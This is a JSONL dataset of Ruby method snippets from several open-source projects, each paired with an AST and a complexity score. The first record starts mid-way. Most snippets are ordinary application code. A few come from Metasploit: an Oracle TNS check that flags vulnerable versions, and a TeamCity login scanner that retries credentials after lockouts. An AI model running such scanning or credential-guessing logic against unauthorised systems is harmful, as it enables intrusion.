WITH &&\\\", where: \\\"(transaction_from IS NOT NULL) AND (transaction_to IS NOT NULL)\\\", using: :gist, deferrable: :deferred, name: \\\"test_exclusion_constraints_transaction_overlap\\\"\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"2f965c69-d08c-4e56-b896-d69163f6ec71"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/instances/extended_descriptions_controller.rb","start_line":13,"raw_source":"def show\n    cache_even_if_authenticated!\n    render json: @extended_description, serializer: REST::ExtendedDescriptionSerializer\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_even_if_authenticated!\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@extended_description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"ExtendedDescriptionSerializer\"]}]}]}]}]}]}","id":"4db0b6f8-37bd-4fe2-86d8-4870eda57a56"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nmap_document.rb","start_line":145,"raw_source":"def record_host_osclass(attrs)\n      return unless in_tag(\"host\")\n      return unless in_tag(\"os\")\n      @state[:os] ||= {}\n      temp_hash = attr_hash(attrs)\n      if better_os_match(@state[:os],temp_hash)\n        @state[:os] = temp_hash\n      end\n    end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"record_host_osclass\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"os\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_hash\",{\"type\":\"send\",\"children\":[null,\"attr_hash\",{\"type\":\"lvar\",\"children\":[\"attrs\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"better_os_match\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"os\"]}]},{\"type\":\"lvar\",\"children\":[\"temp_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"os\"]},{\"type\":\"lvar\",\"children\":[\"temp_hash\"]}]},null]}]}]}","id":"847a4739-4bd3-4cb6-b139-a7f816078f04"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/oracle/tns_auth_sesskey.rb","start_line":78,"raw_source":"def check\n    version = tns_version\n    if (not version)\n      vprint_error(\"Unable to detect the Oracle version!\")\n      return Exploit::CheckCode::Unknown\n    end\n    vprint_status(\"Oracle version reply: \" + version)\n    return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\\.2\\.0\\.1\\.0/)\n    return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\\.2\\.0\\.4\\.0/)\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"tns_version\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Unable to detect the Oracle version!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Oracle version reply: \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"32-bit Windows: Version 10\\\\.2\\\\.0\\\\.1\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"32-bit Windows: Version 10\\\\.2\\\\.0\\\\.4\\\\.0\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"1ab4c52a-3a80-4439-9ddc-452d8a7d8c83"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/packet_dispatcher.rb","start_line":94,"raw_source":"def on_passive_request(cli, req)\n    begin\n      self.last_checkin = ::Time.now\n      resp = send_queue.shift\n      cli.send_response(resp)\n    rescue => e\n      send_queue.unshift(resp) if resp\n      elog(\"Exception sending a reply to the reader request #{cli.inspect}\", error: e)\n    end\n  end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_passive_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"req\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last_checkin=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_queue\"]},\"shift\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"send_response\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_queue\"]},\"unshift\",{\"type\":\"lvar\",\"children\":[\"resp\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Exception sending a reply to the reader request \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"inspect\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},null]}]}]}","id":"d79bd08b-7ec9-437d-af70-64cfff39dce9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/out_of_range_regexp_ref.rb","start_line":55,"raw_source":"def after_send(node)\n          @valid_ref = nil\n\n          if regexp_first_argument?(node)\n            check_regexp(node.first_argument)\n          elsif regexp_receiver?(node)\n            check_regexp(node.receiver)\n          end\n        end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@valid_ref\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"regexp_first_argument?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_regexp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"regexp_receiver?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_regexp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]}]},null]}]}]}]}","id":"7901a24d-a1f6-409f-a788-922cc1c50297"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/configuration/helpers.rb","start_line":66,"raw_source":"def using_amazon_s3?\n        fog_credentials[:host].blank?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"using_amazon_s3?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fog_credentials\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]},\"blank?\"]}]}","id":"9afbd01a-230c-406c-9872-6514c0d7b64b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/adapters/sequence_database_adapter.rb","start_line":40,"raw_source":"def max_value\n            query_result['max_value']\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"max_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_result\"]},\"[]\",{\"type\":\"str\",\"children\":[\"max_value\"]}]}]}","id":"279172b2-d32b-4bdc-bb5f-f0564b5bedfe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/teamcity.rb","start_line":212,"raw_source":"def try_login(username, password, public_key, retry_counter = 0)\n          raise StackLevelTooDeepError, 'try_login stack level too deep!' if retry_counter >= 2\n\n          login_request = create_login_request(username, password, public_key)\n\n          begin\n            res = send_request(login_request)\n          rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error, ::EOFError => e\n            return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e }\n          end\n\n          return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: 'Unable to connect to the TeamCity service' } if res.nil?\n          return { status: ::Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: \"Received an unexpected status code: #{res.code}\" } if res.code != 200\n\n          # Check if the current username is timed out. Sleep if so.\n          # TODO: This can be improved. The `try_login` method should not block until it can retry credentials.\n          # This responsibility should fall onto the caller, and the caller should keep track of the tried, locked out and untried sets of credentials,\n          # and it should be up to the caller and its scheduler algorithm to retry credentials, rather than force this method to block.\n          # Currently, those building blocks are not available, so this is the approach I have implemented.\n          timeout = res.body.match(/login only in (?<timeout>\\d+)s/)&.named_captures&.dig('timeout')&.to_i\n          if timeout\n            framework_module.print_status \"#{@host}:#{@port} - User '#{username}:#{password}' locked out for #{timeout} seconds. Sleeping, and retrying...\" if framework_module\n            sleep(timeout + 1)\n            return try_login(username, password, public_key, retry_counter + 1)\n          end\n\n          return { status: ::Metasploit::Model::Login::Status::INCORRECT, proof: res } if res.body.match?('Incorrect username or password')\n\n          raise DecryptionError, 'The server failed to decrypt the encrypted password' if res.body.match?('DecryptionFailedException')\n          raise PublicKeyExpiredError, 'The server public key has expired' if res.body.match?('publicKeyExpired')\n\n          # After filtering out known failures, default to retuning the credential as working.\n          # This way, people are more likely to notice any incorrect credential reporting going forward and report them,\n          # the scenarios for which can then be correctly implemented and handled similar to the above.\n          { status: :success, proof: res }\n        end","complexity_score":50.2,"ast_json":"{\"type\":\"def\",\"children\":[\"try_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]},{\"type\":\"arg\",\"children\":[\"public_key\"]},{\"type\":\"optarg\",\"children\":[\"retry_counter\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retry_counter\"]},\">=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"StackLevelTooDeepError\"]},{\"type\":\"str\",\"children\":[\"try_login stack level too deep!\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"login_request\",{\"type\":\"send\",\"children\":[null,\"create_login_request\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"public_key\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"lvar\",\"children\":[\"login_request\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionProxyError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ECONNRESET\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EINTR\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"TimeoutError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNABLE_TO_CONNECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNABLE_TO_CONNECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"str\",\"children\":[\"Unable to connect to the TeamCity service\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNABLE_TO_CONNECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received an unexpected status code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"login only in (?<timeout>\\\\d+)s\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"named_captures\"]},\"dig\",{\"type\":\"str\",\"children\":[\"timeout\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework_module\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework_module\"]},\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@port\"]}]},{\"type\":\"str\",\"children\":[\" - User '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]},{\"type\":\"str\",\"children\":[\"' locked out for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"str\",\"children\":[\" seconds. Sleeping, and retrying...\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_login\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]},{\"type\":\"lvar\",\"children\":[\"public_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retry_counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match?\",{\"type\":\"str\",\"children\":[\"Incorrect username or password\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"INCORRECT\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match?\",{\"type\":\"str\",\"children\":[\"DecryptionFailedException\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"DecryptionError\"]},{\"type\":\"str\",\"children\":[\"The server failed to decrypt the encrypted password\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match?\",{\"type\":\"str\",\"children\":[\"publicKeyExpired\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"PublicKeyExpiredError\"]},{\"type\":\"str\",\"children\":[\"The server public key has expired\"]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proof\"]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}]}","id":"51602265-9f62-4803-a3cf-595a364b35cd"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/variant.rb","start_line":269,"raw_source":"def default_image\n      @default_image ||= if images.any?\n                           images.first\n                         else\n                           product.default_image\n                         end\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_image\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@default_image\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"images\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"images\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"product\"]},\"default_image\"]}]}]}]}","id":"ed244c0d-595a-4875-9c42-2a0f30f2a30a"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/group_activity_posts.rb","start_line":6,"raw_source":"def visit(group)\n        page.visit(\"/g/#{group.name}/activity/posts\")\n        self\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"visit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/g/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"/activity/posts\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"35c87a9d-7b71-4c45-8890-cb61f1e32946"}
{"repo_name":"puma","file_path":"./repos/puma/test/helpers/integration.rb","start_line":139,"raw_source":"def stop_server(pid = @pid, signal: :TERM)\n    begin\n      Process.kill signal, pid\n    rescue Errno::ESRCH\n    end\n    begin\n      Process.wait2 pid\n    rescue Errno::ECHILD\n    end\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_server\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"pid\",{\"type\":\"ivar\",\"children\":[\"@pid\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"signal\",{\"type\":\"sym\",\"children\":[\"TERM\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"kill\",{\"type\":\"lvar\",\"children\":[\"signal\"]},{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ESRCH\"]}]},null,null]},null]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"wait2\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECHILD\"]}]},null,null]},null]}]}]}]}","id":"db9a8513-40fa-46f1-8629-656124cea8a2"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/device_manager.rb","start_line":337,"raw_source":"def copy_logfile(device, log_identity, logs_destination_dir)\n        logfile_src = File.expand_path(\"~/Library/Logs/CoreSimulator/#{device.udid}/system.log\")\n        return unless File.exist?(logfile_src)\n\n        FileUtils.mkdir_p(logs_destination_dir)\n        logfile_dst = File.join(logs_destination_dir, \"system-#{log_identity}.log\")\n\n        FileUtils.rm_f(logfile_dst)\n        FileUtils.cp(logfile_src, logfile_dst)\n        UI.success(\"Copying file '#{logfile_src}' to '#{logfile_dst}'...\")\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_logfile\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device\"]},{\"type\":\"arg\",\"children\":[\"log_identity\"]},{\"type\":\"arg\",\"children\":[\"logs_destination_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logfile_src\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"~/Library/Logs/CoreSimulator/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"device\"]},\"udid\"]}]},{\"type\":\"str\",\"children\":[\"/system.log\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"logfile_src\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"lvar\",\"children\":[\"logs_destination_dir\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logfile_dst\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"logs_destination_dir\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"system-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log_identity\"]}]},{\"type\":\"str\",\"children\":[\".log\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_f\",{\"type\":\"lvar\",\"children\":[\"logfile_dst\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"cp\",{\"type\":\"lvar\",\"children\":[\"logfile_src\"]},{\"type\":\"lvar\",\"children\":[\"logfile_dst\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Copying file '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logfile_src\"]}]},{\"type\":\"str\",\"children\":[\"' to '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logfile_dst\"]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]}]}]}","id":"7d34611b-e5e3-454d-ab21-2f534bfa0f95"}
